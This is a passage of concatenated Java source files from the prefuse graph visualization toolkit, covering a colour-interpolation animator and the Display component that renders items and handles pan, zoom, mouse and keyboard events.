// * @see edu.berkeley.guir.prefuse.graph.Node#addEdge(edu.berkeley.guir.prefuse.graph.Edge)
// */
// public boolean addEdge(Edge e) {
// // TODO Auto-generated method stub
// return false;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.Node#addEdge(int, edu.berkeley.guir.prefuse.graph.Edge)
// */
// public boolean addEdge(int idx, Edge e) {
// // TODO Auto-generated method stub
// return false;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.Node#getEdge(edu.berkeley.guir.prefuse.graph.Node)
// */
// public Edge getEdge(Node n) {
// // TODO Auto-generated method stub
// return null;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.Node#getIndex(edu.berkeley.guir.prefuse.graph.Edge)
// */
// public int getIndex(Edge e) {
// // TODO Auto-generated method stub
// return 0;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.Node#getIndex(edu.berkeley.guir.prefuse.graph.Node)
// */
// public int getIndex(Node n) {
// // TODO Auto-generated method stub
// return 0;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.Node#isIncidentEdge(edu.berkeley.guir.prefuse.graph.Edge)
// */
// public boolean isIncidentEdge(Edge e) {
// // TODO Auto-generated method stub
// return false;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.Node#isNeighbor(edu.berkeley.guir.prefuse.graph.Node)
// */
// public boolean isNeighbor(Node n) {
// // TODO Auto-generated method stub
// return false;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.Node#removeEdge(edu.berkeley.guir.prefuse.graph.Edge)
// */
// public boolean removeEdge(Edge e) {
// // TODO Auto-generated method stub
// return false;
// }
//
// /**
// * @see edu.berkeley.guir.prefuse.graph.Node#removeNeighbor(edu.berkeley.guir.prefuse.graph.Node)
// */
// public boolean removeNeighbor(Node n) {
// // TODO Auto-generated method stub
// return false;
// }
} // end of class NodeItem
<file_sep>package edu.berkeley.guir.prefuse.action.animate;
import java.awt.Color;
import java.awt.Paint;
import java.util.Iterator;
import edu.berkeley.guir.prefuse.ItemRegistry;
import edu.berkeley.guir.prefuse.VisualItem;
import edu.berkeley.guir.prefuse.action.AbstractAction;
import edu.berkeley.guir.prefuse.util.ColorLib;
/**
* Linearly interpolates between starting and ending colors for VisualItems
* during an animation. Custom color interpolators can be written by
* subclassing this class and overriding the
* <code>getInterpolatedColor()</code> method.
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
*/
public class ColorAnimator extends AbstractAction {
/**
* @see edu.berkeley.guir.prefuse.action.Action#run(edu.berkeley.guir.prefuse.ItemRegistry, double)
*/
public void run(ItemRegistry registry, double frac) {
Iterator iter = registry.getItems();
while ( iter.hasNext() ) {
VisualItem item = (VisualItem)iter.next();
Paint p1 = item.getStartColor(), p2 = item.getEndColor();
if ( p1 instanceof Color && p2 instanceof Color ) {
Color c1 = (Color)p1, c2 = (Color)p2;
item.setColor(ColorLib.getIntermediateColor(c1,c2,frac));
} else {
throw new IllegalStateException("Can't interpolate Paint"
+ " instances that are not of type Color");
}
Paint f1 = item.getStartFillColor(), f2 = item.getEndFillColor();
if ( f1 instanceof Color && f2 instanceof Color ) {
Color c1 = (Color)f1, c2 = (Color)f2;
item.setFillColor(ColorLib.getIntermediateColor(c1,c2,frac));
}
}
} //
} // end of class ColorAnimator
<file_sep>package edu.berkeley.guir.prefuse;
import java.awt.Color;
import java.awt.Dimension;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Graphics2D;
import java.awt.Paint;
import java.awt.Point;
import java.awt.Rectangle;
import java.awt.RenderingHints;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import java.awt.event.MouseMotionListener;
import java.awt.event.MouseWheelEvent;
import java.awt.event.MouseWheelListener;
import java.awt.geom.AffineTransform;
import java.awt.geom.NoninvertibleTransformException;
import java.awt.geom.Point2D;
import java.awt.geom.Rectangle2D;
import java.awt.image.BufferedImage;
import java.io.OutputStream;
import java.util.Iterator;
import javax.imageio.ImageIO;
import javax.swing.JComponent;
import javax.swing.JTextArea;
import javax.swing.JTextField;
import javax.swing.KeyStroke;
import javax.swing.text.JTextComponent;
import edu.berkeley.guir.prefuse.activity.Activity;
import edu.berkeley.guir.prefuse.activity.SlowInSlowOutPacer;
import edu.berkeley.guir.prefuse.event.ControlEventMulticaster;
import edu.berkeley.guir.prefuse.event.ControlListener;
import edu.berkeley.guir.prefuse.render.Renderer;
import edu.berkeley.guir.prefuse.util.ColorLib;
import edu.berkeley.guir.prefuse.util.FontLib;
import edu.berkeley.guir.prefuse.util.display.Clip;
import edu.berkeley.guir.prefuse.util.display.ExportDisplayAction;
import edu.berkeley.guir.prefuse.util.display.ToolTipManager;
/**
* <p>User interface component that provides an interactive visualization
* of a graph. The Display is responsible for drawing items to the
* screen and providing callbacks for user interface actions such as
* mouse and keyboard events. A Display must be associated with an
* {@link edu.berkeley.guir.prefuse.ItemRegistry ItemRegistry} from
* which it pulls the items to visualize.</p>
*
* <p>The {@link edu.berkeley.guir.prefuse.event.ControlListener ControlListener}
* interface provides the various available user interface callbacks. The
* {@link edu.berkeley.guir.prefusex.controls} package contains a number
* of pre-built <code>ControlListener</code> implementations for common
* interactions.</p>
*
* <p>The Display class also supports arbitrary graphics transforms through
* the <code>java.awt.geom.AffineTransform</code> class. The
* {@link #setTransform(java.awt.geom.AffineTransform) setTransform} method
* allows arbitrary transforms to be applied, while the
* {@link #pan(double,double) pan} and
* {@link #zoom(java.awt.geom.Point2D,double) zoom}
* methods provide convenience methods that appropriately update the current
* transform to achieve panning and zooming on the presentation space.</p>
*
* <p>Additionally, each Display instance also supports use of a text editor
* to facilitate direct editing of text. See the various
* {@link #editText(edu.berkeley.guir.prefuse.VisualItem, String) editItem}
* methods.</p>
*
* @version 1.0
* @author <a href="http://jheer.org"><NAME></a> prefuse(AT)jheer.org
* @see ItemRegistry
* @see edu.berkeley.guir.prefuse.event.ControlListener
* @see edu.berkeley.guir.prefusex.controls
*/
public class Display extends JComponent {
protected ItemRegistry m_registry;
protected ControlListener m_listener;
protected BufferedImage m_offscreen;
protected Clip m_clip = new Clip();
protected boolean m_showDebug = false;
protected boolean m_repaint = false;
protected boolean m_highQuality = false;
// transform variables
protected AffineTransform m_transform = new AffineTransform();
protected AffineTransform m_itransform = new AffineTransform();
protected TransformActivity m_transact = new TransformActivity();
protected Point2D m_tmpPoint = new Point2D.Double();
// frame count and debugging output
protected double frameRate;
protected int nframes = 0;
private int sampleInterval = 10;
private long mark = -1L;
// text editing variables
private JTextComponent m_editor;
private boolean m_editing;
private VisualItem m_editItem;
private String m_editAttribute;
private ToolTipManager m_ttipManager;
/**
* Constructor. Creates a new display instance. You will need to
* associate this Display with an ItemRegistry for it to display
* anything.
*/
public Display() {
this(null);
} //
/**
* Creates a new display instance associated with the given
* ItemRegistry.
* @param registry the ItemRegistry from which this Display
* should get the items to visualize.
*/
public Display(ItemRegistry registry) {
setDoubleBuffered(false);
setBackground(Color.WHITE);
// initialize text editor
m_editing = false;
m_editor = new JTextField();
m_editor.setBorder(null);
m_editor.setVisible(false);
this.add(m_editor);
// register input event capturer
InputEventCapturer iec = new InputEventCapturer();
addMouseListener(iec);
addMouseMotionListener(iec);
addMouseWheelListener(iec);
addKeyListener(iec);
// add debugging output control
registerKeyboardAction(
new ActionListener() {
public void actionPerformed(ActionEvent e) {
m_showDebug = !m_showDebug;
}
},
"debug info", KeyStroke.getKeyStroke("ctrl D"), WHEN_FOCUSED);
// add image output control, if this is not an applet
try {
registerKeyboardAction(
new ExportDisplayAction(this),
"export display", KeyStroke.getKeyStroke("ctrl E"), WHEN_FOCUSED);
} catch ( SecurityException se ) {}
setItemRegistry(registry);
setSize(400,400); // set a default size
} //
/**
* Determines if a debugging string is printed on the Display.
* @param d true to show debugging info, false otherwise
*/
public void setDebug(boolean d) {
m_showDebug = d;
} //
/**
* Indicates if a debugging string is being printed on the Display.
* @return true if debugging info is shown, false otherwise
*/
public boolean getDebug() {
return m_showDebug;
} //
public void setUseCustomTooltips(boolean s) {
if ( s && m_ttipManager == null ) {
m_ttipManager = new ToolTipManager(this);
String text = super.getToolTipText();
super.setToolTipText(null);
m_ttipManager.setToolTipText(text);
this.addMouseMotionListener(m_ttipManager);
} else if ( !s && m_ttipManager != null ) {
this.removeMouseMotionListener(m_ttipManager);
String text = m_ttipManager.getToolTipText();
m_ttipManager.setToolTipText(null);
super.setToolTipText(text);
m_ttipManager = null;
}
} //
public ToolTipManager getToolTipManager() {
return m_ttipManager;
} //
public void setToolTipText(String text) {
if ( m_ttipManager != null ) {
m_ttipManager.setToolTipText(text);
} else {
super.setToolTipText(text);
}
} //
/**
* Set the size of the Display.
* @see java.awt.Component#setSize(int, int)
*/
public void setSize(int width, int height) {
m_offscreen = null;
setPreferredSize(new Dimension(width,height));
super.setSize(width, height);
} //
/**
* Set the size of the Display.
* @see java.awt.Component#setSize(java.awt.Dimension)
*/
public void setSize(Dimension d) {
m_offscreen = null;
setPreferredSize(d);
super.setSize(d);
} //
/**
* Reshapes (moves and resizes) this component.
*/
public void reshape(int x, int y, int w, int h) {
m_offscreen = null;
super.reshape(x,y,w,h);
} //
/**
* Sets the font used by this Display. This determines the font used
* by this Display's text editor.
*/
public void setFont(Font f) {
super.setFont(f);
m_editor.setFont(f);
} //
/**
* Determines if the Display uses a higher quality rendering, using
* anti-aliasing. This causes drawing to be much slower, however, and
* so is disabled by default.
* @param on true to enable anti-aliased rendering, false to disable it
*/
public void setHighQuality(boolean on) {
m_highQuality = on;
} //
/**
* Indicates if the Display is using high quality (return value true) or
* regular quality (return value false) rendering.
* @return true if high quality rendering is enabled, false otherwise
*/
public boolean isHighQuality() {
return m_highQuality;
} //
/**
* Returns the item registry used by this display.
* @return this Display's ItemRegistry
*/
public ItemRegistry getRegistry() {
return m_registry;
} //
/**
* Set the ItemRegistry associated with this Display. This Display
* will render the items contained in the provided registry. If this
* Display is already associated with a different ItemRegistry, the
* Display unregisters itself with the previous registry.
* @param registry the ItemRegistry to associate with this Display.
* A value of null associates this Display with no ItemRegistry
* at all.
*/
public void setItemRegistry(ItemRegistry registry) {
if ( m_registry == registry ) {
// nothing need be done
return;
} else if ( m_registry != null ) {
// remove this display from it's previous registry
m_registry.removeDisplay(this);
}
m_registry = registry;
if ( registry != null )
m_registry.addDisplay(this);
} //
// ========================================================================
// == TRANSFORM METHODS ===================================================
/**
* Set the 2D AffineTransform (e.g., scale, shear, pan, rotate) used by
* this display before rendering graph items. The provided transform
* must be invertible, otherwise an expection will be thrown. For simple
* panning and zooming transforms, you can instead use the provided
* pan() and zoom() methods.
*/
public void setTransform(AffineTransform transform)
throws NoninvertibleTransformException
{
m_transform = transform;
m_itransform = m_transform.createInverse();
} //
/**
* Returns a reference to the AffineTransformation used by this Display.
* Changes made to this reference will likely corrupt the state of
* this display. Use setTransform() to safely update the transform state.
* @return the AffineTransform
*/
public AffineTransform getTransform() {
return m_transform;
} //
/**
* Returns a reference to the inverse of the AffineTransformation used by
* this display. Changes made to this reference will likely corrupt the
* state of this display.
* @return the inverse AffineTransform
*/
public AffineTransform getInverseTransform() {
return m_itransform;
} //
/**
* Gets the absolute co-ordinate corresponding to the given screen
* co-ordinate.
* @param screen the screen co-ordinate to transform
* @param abs a reference to put the result in. If this is the same
* object as the screen co-ordinate, it will be overridden safely. If
* this value is null, a new Point2D instance will be created and
* returned.
* @return the point in absolute co-ordinates
*/
public Point2D getAbsoluteCoordinate(Point2D screen, Point2D abs) {
return m_itransform.transform(screen, abs);
} //
/**
* Returns the current scale (i.e. zoom value).
* @return the current scale. This is the
* scaling factor along the x-dimension, so be careful when
* using this value in non-uniform scaling cases.
*/
public double getScale() {
return m_transform.getScaleX();
} //
/**
* Returns the x-coordinate of the top-left of the display,
* in absolute co-ordinates
* @return the x co-ord of the top-left corner, in absolute coordinates
*/
public double getDisplayX() {
return -m_transform.getTranslateX();
} //
/**
* Returns the y-coordinate of the top-left of the display,
* in absolute co-ordinates
* @return the y co-ord of the top-left corner, in absolute coordinates
*/
public double getDisplayY() {
return -m_transform.getTranslateY();
} //
/**
* Pans the view provided by this display in screen coordinates.
* @param dx the amount to pan along the x-dimension, in pixel units
* @param dy the amount to pan along the y-dimension, in pixel units
*/
public void pan(double dx, double dy) {
double panx = ((double)dx) / m_transform.getScaleX();
double pany = ((double)dy) / m_transform.getScaleY();
panAbs(panx,pany);
} //
/**
* Pans the view provided by this display in absolute (i.e. non-screen)
* coordinates.
* @param dx the amount to pan along the x-dimension, in absolute co-ords
* @param dy the amount to pan along the y-dimension, in absolute co-ords
*/
public void panAbs(double dx, double dy) {
m_transform.translate(dx, dy);
try {
m_itransform = m_transform.createInverse();
} catch ( Exception e ) { /*will never happen here*/ }
} //
/**
* Pans the display view to center on the provided point in
* screen (pixel) coordinates.
* @param x the x-point to center on, in screen co-ords
* @param y the y-point to center on, in screen co-ords
*/
public void panTo(Point2D p) {
m_itransform.transform(p, m_tmpPoint);
panToAbs(m_tmpPoint);
} //
/**
* Pans the display view to center on the provided point in
* absolute (i.e. non-screen) coordinates.
* @param x the x-point to center on, in absolute co-ords
* @param y the y-point to center on, in absolute co-ords
*/
public void panToAbs(Point2D p) {
double x = p.getX(); x = (Double.isNaN(x) ? 0 : x);
double y = p.getY(); y = (Double.isNaN(y) ? 0 : y);
double w = getWidth() /(2*m_transform.getScaleX());
double h = getHeight()/(2*m_transform.getScaleY());
double dx = w-x-m_transform.getTranslateX();
double dy = h-y-m_transform.getTranslateY();
m_transform.translate(dx, dy);
try {
m_itransform = m_transform.createInverse();
} catch ( Exception e ) { /*will never happen here*/ }
} //
/**
* Zooms the view provided by this display by the given scale,
* anchoring the zoom at the specified point in screen coordinates.
* @param p the anchor point for the zoom, in screen coordinates
* @param scale the amount to zoom by
*/
public void zoom(final Point2D p, double scale) {
m_itransform.transform(p, m_tmpPoint);
zoomAbs(m_tmpPoint, scale);
} //
/**
* Zooms the view provided by this display by the given scale,
* anchoring the zoom at the specified point in absolute coordinates.
* @param p the anchor point for the zoom, in absolute
* (i.e. non-screen) co-ordinates
* @param scale the amount to zoom by
*/
public void zoomAbs(final Point2D p, double scale) {;
double zx = p.getX(), zy = p.getY();
m_transform.translate(zx, zy);
m_transform.scale(scale,scale);
m_transform.translate(-zx, -zy);
try {
m_itransform = m_transform.createInverse();
} catch ( Exception e ) { /*will never happen here*/ }
} //
public void animatePan(double dx, double dy, long duration) {
double panx = dx / m_transform.getScaleX();
double pany = dy / m_transform.getScaleY();
animatePanAbs(panx,pany,duration);
} //
public void animatePanAbs(double dx, double dy, long duration) {
m_transact.pan(dx,dy,duration);
} //
public void animatePanTo(Point2D p, long duration) {
Point2D pp = new Point2D.Double();
m_itransform.transform(p,pp);
animatePanToAbs(pp,duration);
} //
public void animatePanToAbs(Point2D p, long duration) {
m_tmpPoint.setLocation(0,0);
m_itransform.transform(m_tmpPoint,m_tmpPoint);
double x = p.getX(); x = (Double.isNaN(x) ? 0 : x);
double y = p.getY(); y = (Double.isNaN(y) ? 0 : y);
double w = ((double)getWidth()) /(2*m_transform.getScaleX());
double h = ((double)getHeight())/(2*m_transform.getScaleY());
double dx = w-x+m_tmpPoint.getX();
double dy = h-y+m_tmpPoint.getY();
animatePanAbs(dx,dy,duration);
} //
public void animateZoom(final Point2D p, double scale, long duration) {
Point2D pp = new Point2D.Double();
m_itransform.transform(p,pp);
animateZoomAbs(pp,scale,duration);
} //
public void animateZoomAbs(final Point2D p, double scale, long duration) {
m_transact.zoom(p,scale,duration);
} //
public void animatePanAndZoomTo(final Point2D p, double scale, long duration) {
Point2D pp = new Point2D.Double();
m_itransform.transform(p,pp);
animatePanAndZoomToAbs(pp,scale,duration);
} //
public void animatePanAndZoomToAbs(final Point2D p, double scale, long duration) {
m_transact.panAndZoom(p,scale,duration);
} //
public boolean isTranformInProgress() {
return m_transact.isRunning();
} //
/**
* TODO: clean this up to be more general...
* TODO: change mechanism so that multiple transform
* activities can be running at once?
*/
private class TransformActivity extends Activity {
private double[] src, dst;
private AffineTransform m_at;
public TransformActivity() {
super(2000,20,0);
src = new double[6];
dst = new double[6];
m_at = new AffineTransform();
setPacingFunction(new SlowInSlowOutPacer());
} //
private AffineTransform getTransform() {
if ( this.isScheduled() )
m_at.setTransform(dst[0],dst[1],dst[2],dst[3],dst[4],dst[5]);
else
m_at.setTransform(m_transform);
return m_at;
} //
public void panAndZoom(final Point2D p, double scale, long duration) {
AffineTransform at = getTransform();
this.cancel();
setDuration(duration);
m_tmpPoint.setLocation(0,0);
m_itransform.transform(m_tmpPoint,m_tmpPoint);
double x = p.getX(); x = (Double.isNaN(x) ? 0 : x);
double y = p.getY(); y = (Double.isNaN(y) ? 0 : y);
double w = ((double)getWidth()) /(2*m_transform.getScaleX());
double h = ((double)getHeight())/(2*m_transform.getScaleY());
double dx = w-x+m_tmpPoint.getX();
double dy = h-y+m_tmpPoint.getY();
at.translate(dx,dy);
at.translate(p.getX(), p.getY());
at.scale(scale,scale);
at.translate(-p.getX(), -p.getY());
at.getMatrix(dst);
m_transform.getMatrix(src);
this.runNow();
}
public void pan(double dx, double dy, long duration) {
AffineTransform at = getTransform();
this.cancel();
setDuration(duration);
at.translate(dx,dy);
at.getMatrix(dst);
m_transform.getMatrix(src);
this.runNow();
} //
public void zoom(final Point2D p, double scale, long duration) {
AffineTransform at = getTransform();
this.cancel();
setDuration(duration);
double zx = p.getX(), zy = p.getY();
at.translate(zx, zy);
at.scale(scale,scale);
at.translate(-zx, -zy);
at.getMatrix(dst);
m_transform.getMatrix(src);
this.runNow();
} //
protected void run(long elapsedTime) {
double f = getPace(elapsedTime);
m_transform.setTransform(
src[0] + f*(dst[0]-src[0]),
src[1] + f*(dst[1]-src[1]),
src[2] + f*(dst[2]-src[2]),
src[3] + f*(dst[3]-src[3]),
src[4] + f*(dst[4]-src[4]),
src[5] + f*(dst[5]-src[5])
);
try {
m_itransform = m_transform.createInverse();
} catch ( Exception e ) { /* won't happen */ }
repaint();
} //
} // end of inner class TransformActivity
// ========================================================================
// == RENDERING METHODS ===================================================
/**
* Returns the offscreen buffer used by this component for
* double-buffering.
* @return the offscreen buffer
*/
public BufferedImage getOffscreenBuffer() {
return m_offscreen;
} //
/**
* Creates a new buffered image to use as an offscreen buffer.
*/
protected BufferedImage getNewOffscreenBuffer() {
return (BufferedImage)createImage(getSize().width, getSize().height);
} //
/**
* Saves a copy of this display as an image to the specified output stream.
* @param output the output stream to write to.
* @param format the image format (e.g., "JPG", "PNG").
* @param scale how much to scale the image by.
* @return true if image was successfully saved, false if an error occurred.
*/
public boolean saveImage(OutputStream output, String format, double scale) {
try {
Dimension d = new Dimension((int)(scale*getWidth()),(int)(scale*getHeight()));
BufferedImage img = (BufferedImage) createImage(d.width, d.height);
Graphics2D g = (Graphics2D)img.getGraphics();
Point2D p = new Point2D.Double(0,0);
zoom(p, scale);
boolean q = isHighQuality();
setHighQuality(true);
paintDisplay(g,d);
setHighQuality(q);
zoom(p, 1/scale);
ImageIO.write(img,format,output);
return true;
} catch ( Exception e ) {
e.printStackTrace();
return false;
}
} //
/**
* Updates this display
*/
public void update(Graphics g) {
paint(g);
} //
public void repaint() {
if ( !m_repaint ) {
m_repaint = true;
super.repaint();
}
} //
/**
* Paints the offscreen buffer to the provided graphics context.
* @param g the Graphics context to paint to
*/
protected void paintBufferToScreen(Graphics g) {
int x = 0, y = 0;
BufferedImage img = m_offscreen;
//if ( m_clip != null ) {
// x = m_clip.getX();
// y = m_clip.getY();
// img = m_offscreen.getSubimage(x,y,m_clip.getWidth(),m_clip.getHeight());
//}
g.drawImage(img, x, y, null);
} //
/**
* Immediately repaints the contents of the offscreen buffer
* to the screen. This bypasses the usual rendering loop.
*/
public void repaintImmediate() {
Graphics g = this.getGraphics();
if (g != null && m_offscreen != null) {
paintBufferToScreen(g);
}
} //
/**
* Sets the transform of the provided Graphics context to be the
* transform of this Display and sets the desired rendering hints.
* @param g the Graphics context to prepare.
*/
protected void prepareGraphics(Graphics2D g) {
if ( m_transform != null )
g.transform(m_transform);
setRenderingHints(g);
} //
/**
* Sets the rendering hints that should be used while drawing
* the visualization to the screen. Subclasses can override
* this method to set hints as desired.
* @param g the Graphics context on which to set the rendering hints
*/
protected void setRenderingHints(Graphics2D g) {
if ( m_highQuality ) {
g.setRenderingHint(RenderingHints.KEY_ANTIALIASING,
RenderingHints.VALUE_ANTIALIAS_ON);
} else {
g.setRenderingHint(RenderingHints.KEY_ANTIALIASING,
RenderingHints.VALUE_ANTIALIAS_OFF);
}
g.setRenderingHint(
RenderingHints.KEY_RENDERING,
RenderingHints.VALUE_RENDER_QUALITY);
g.setRenderingHint(
RenderingHints.KEY_INTERPOLATION,
RenderingHints.VALUE_INTERPOLATION_BICUBIC);
} //
/**
* Returns a string showing debugging info such as number of visualized
* items and the current frame rate.
* @return the debug string
*/
protected String getDebugString() {
float fr = Math.round(frameRate*100f)/100f;
Runtime rt = Runtime.getRuntime();
long tm = rt.totalMemory()/1000000L;
long mm = rt.maxMemory()/1000000L;
StringBuffer sb = new StringBuffer();
sb.append("frame rate: ").append(fr).append("fps - ");
sb.append(m_registry.size()).append(" items (");
sb.append(m_registry.size(ItemRegistry.DEFAULT_NODE_CLASS));
sb.append(" nodes, ");
sb.append(m_registry.size(ItemRegistry.DEFAULT_EDGE_CLASS));
sb.append(" edges) fonts(").append(FontLib.getCacheMissCount());
sb.append(") colors(");
sb.append(ColorLib.getCacheMissCount()).append(')');
sb.append(" mem(");
sb.append(tm).append("M / ");
sb.append(mm).append("M)");
sb.append(" (x:").append(numberString(m_transform.getTranslateX(),2));
sb.append(", y:").append(numberString(m_transform.getTranslateY(),2));
sb.append(", z:").append(numberString(getScale(),5)).append(")");
return sb.toString();
} //
private String numberString(double number, int decimalPlaces) {
String s = String.valueOf(number);
int idx = s.indexOf(".");
if ( idx == -1 ) {
return s;
} else {
int end = Math.min(s.length(),idx+1+decimalPlaces);
return s.substring(0,end);
}
} //
/**
* Paint routine called <i>before</i> items are drawn. Subclasses should
* override this method to perform custom drawing.
* @param g the Graphics context to draw into
*/
protected void prePaint(Graphics2D g) {
} //
/**
* Paint routine called <i>after</i> items are drawn. Subclasses should
* override this method to perform custom drawing.
* @param g the Graphics context to draw into
*/
protected void postPaint(Graphics2D g) {
} //
/**
* Draws the visualization to the screen. Draws each visible item to the
* screen in a rendering loop. Rendering order can be controlled by adding
* the desired Comparator to the Display's ItemRegistry.
*/
public void paintComponent(Graphics g) {
if (m_offscreen == null) {
m_offscreen = getNewOffscreenBuffer();
}
Graphics2D g2D = (Graphics2D) m_offscreen.getGraphics();
// paint the visualization
paintDisplay(g2D, getSize());
paintBufferToScreen(g);
g2D.dispose();
m_repaint = false;
// compute frame rate
nframes++;
if ( mark < 0 ) {
mark = System.currentTimeMillis();
nframes = 0;
} else if ( nframes == sampleInterval ){
long t = System.currentTimeMillis();
frameRate = (1000.0*nframes)/(t-mark);
mark = t;
nframes = 0;
//System.out.println("frameRate: " + frameRate);
}
} //
public void paintDisplay(Graphics2D g2D, Dimension d) {
// paint background
g2D.setColor(getBackground());
g2D.fillRect(0, 0, d.width, d.height);
// show debugging info?
if ( m_showDebug ) {
g2D.setFont(getFont());
g2D.setColor(getForeground());
g2D.drawString(getDebugString(), 5, 15);
}
prepareGraphics(g2D);
prePaint(g2D);
g2D.setColor(Color.BLACK);
synchronized (m_registry) {
m_clip.setClip(0,0,d.width,d.height);
m_clip.transform(m_itransform);
Iterator items = m_registry.getItems();
while (items.hasNext()) {
try {
VisualItem vi = (VisualItem) items.next();
Renderer renderer = vi.getRenderer();
Rectangle2D b = renderer.getBoundsRef(vi);
if ( m_clip.intersects(b) )
renderer.render(g2D, vi);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
postPaint(g2D);
} //
/**
* Paints the graph to the provided graphics context, for output to a
* printer. This method does not double buffer the painting, in order to
* provide the maximum quality.
*
* @param g the printer graphics context.
*/
protected void printComponent(Graphics g) {
boolean wasHighQuality = m_highQuality;
try {
// Set the quality to high for the duration of the printing.
m_highQuality = true;
// Paint directly to the print graphics context.
paintDisplay((Graphics2D) g, getSize());
} finally {
// Reset the quality to the state it was in before printing.
m_highQuality = wasHighQuality;
}
} //
/**
* Clears the specified region of the display (in screen co-ordinates)
* in the display's offscreen buffer. The cleared region is replaced
* with the background color. Call the repaintImmediate() method to
* have this change directly propagate to the screen.
* @param r a Rectangle specifying the region to clear, in screen co-ords
*/
public void clearRegion(Rectangle r) {
Graphics2D g2D = (Graphics2D) m_offscreen.getGraphics();
if (g2D != null) {
g2D.setColor(this.getBackground());
g2D.fillRect(r.x, r.y, r.width, r.height);
}
} //
/**
* Draws a single item to the <i>offscreen</i> display
* buffer. Useful for incremental drawing. Call the repaintImmediate()
* method to have these changes directly propagate to the screen.
* @param item
*/
public void drawItem(VisualItem item) {
Graphics2D g2D = (Graphics2D) m_offscreen.getGraphics();
if (g2D != null) {
prepareGraphics(g2D);
item.getRenderer().render(g2D, item);
}
} //
// ========================================================================
// == CONTROL LISTENER METHODS ============================================
/**
* Adds a ControlListener to receive all input events on VisualItems.
* @param cl the listener to add.
*/
public void addControlListener(ControlListener cl) {
m_listener = ControlEventMulticaster.add(m_listener, cl);
} //
/**
* Removes a registered ControlListener.
* @param cl the listener to remove.
*/
public void removeControlListener(ControlListener cl) {
m_listener = ControlEventMulticaster.remove(m_listener, cl);
} //
/**
* Returns the VisualItem located at the given point.
* @param p the Point at which to look
* @return the VisualItem located at the given point, if any
*/
public VisualItem findItem(Point p) {
Point2D p2 = (m_itransform==null ? p :
m_itransform.transform(p, m_tmpPoint));
synchronized (m_registry) {
Iterator items = m_registry.getItemsReversed();
while (items.hasNext()) {
VisualItem vi = (VisualItem) items.next();
Renderer r = vi.getRenderer();
if (r != null && vi.isInteractive()
&& r.locatePoint(p2, vi)) {
return vi;
}
}
}
return null;
} //
/**
* Captures all mouse and key events on the display, detects relevant
* VisualItems, and informs ControlListeners.
*/
public class InputEventCapturer
implements MouseMotionListener, MouseWheelListener, MouseListener, KeyListener {
private VisualItem activeVI = null;
private boolean mouseDown = false;
public void mouseDragged(MouseEvent e) {
if (m_listener != null && activeVI != null) {
m_listener.itemDragged(activeVI, e);
} else if ( m_listener != null ) {
m_listener.mouseDragged(e);
}
} //
public void mouseMoved(MouseEvent e) {
boolean earlyReturn = false;
//check if we've gone over any item
VisualItem vi = findItem(e.getPoint());
if (m_listener != null && activeVI != null && activeVI != vi) {
m_listener.itemExited(activeVI, e);
earlyReturn = true;
}
if (m_listener != null && vi != null && vi != activeVI) {
m_listener.itemEntered(vi, e);
earlyReturn = true;
}
activeVI = vi;
if ( earlyReturn ) return;
if ( m_listener != null && vi != null && vi == activeVI ) {
m_listener.itemMoved(vi, e);
}
if ( m_listener != null && vi == null ) {
m_listener.mouseMoved(e);
}
} //
public void mouseWheelMoved(MouseWheelEvent e) {
if (m_listener != null && activeVI != null) {
m_listener.itemWheelMoved(activeVI, e);
} else if ( m_listener != null ) {
m_listener.mouseWheelMoved(e);
}
} //
public void mouseClicked(MouseEvent e) {
if (m_listener != null && activeVI != null) {
m_listener.itemClicked(activeVI, e);
} else if ( m_listener != null ) {
m_listener.mouseClicked(e);
}
} //
public void mousePressed(MouseEvent e) {
mouseDown = true;
if (m_listener != null && activeVI != null) {
m_listener.itemPressed(activeVI, e);
} else if ( m_listener != null ) {
m_listener.mousePressed(e);
}
} //
public void mouseReleased(MouseEvent e) {
if (m_listener != null && activeVI != null) {
m_listener.itemReleased(activeVI, e);
} else if ( m_listener != null ) {
m_listener.mouseReleased(e);
}
if ( m_listener != null && activeVI != null
&& mouseDown && isOffComponent(e) )
{
// mouse was dragged off of the component,
// then released, so register an exit
m_listener.itemExited(activeVI, e);
activeVI = null;
}
mouseDown = false;
} //
public void mouseEntered(MouseEvent e) {
if ( m_listener != null ) {
m_listener.mouseEntered(e);
}
} //
public void mouseExited(MouseEvent e) {
if (m_listener != null && !mouseDown && activeVI != null) {
// we've left the component and an item
// is active but not being dragged, deactivate it
m_listener.itemExited(activeVI, e);
activeVI = null;
}
if ( m_listener != null ) {
m_listener.mouseExited(e);
}
} //
public void keyPressed(KeyEvent e) {
if (m_listener != null && activeVI != null) {
m_listener.itemKeyPressed(activeVI, e);
} else if ( m_listener != null ) {
m_listener.keyPressed(e);
}
} //
public void keyReleased(KeyEvent e) {
if (m_listener != null && activeVI != null) {
m_listener.itemKeyReleased(activeVI, e);
} else if ( m_listener != null ) {
m_listener.keyReleased(e);
}
} //
public void keyTyped(KeyEvent e) {
if (m_listener != null && activeVI != null) {
m_listener.itemKeyTyped(activeVI, e);
} else if ( m_listener != null ) {
m_listener.keyTyped(e);
}
} //
private boolean isOffComponent(MouseEvent e) {
int x = e.getX(), y = e.getY();
return ( x<0 || x>getWidth() || y<0 || y>getHeight() );
} //
} // end of inner class MouseEventCapturer
// ========================================================================
// == TEXT EDITING CONTROL ================================================
/**
* Returns the TextComponent used for on-screen text editing.
* @return the TextComponent used for text editing
*/
public JTextComponent getTextEditor() {
return m_editor;
} //
/**
* Sets the TextComponent used for on-screen text editing.
* @param tc the TextComponent to use for text editing
*/
public void setTextEditor(JTextComponent tc) {
this.remove(m_editor);
m_editor = tc;
this.add(m_editor, 1);
} //
/**
* Edit text for the given VisualItem and attribute. Presents a text
* editing widget spaning the item's bounding box. Use stopEditing()
* to hide the text widget. When stopEditing() is called, the attribute
* will automatically be updated with the VisualItem.
* @param item the VisualItem to edit
* @param attribute the attribute to edit
*/
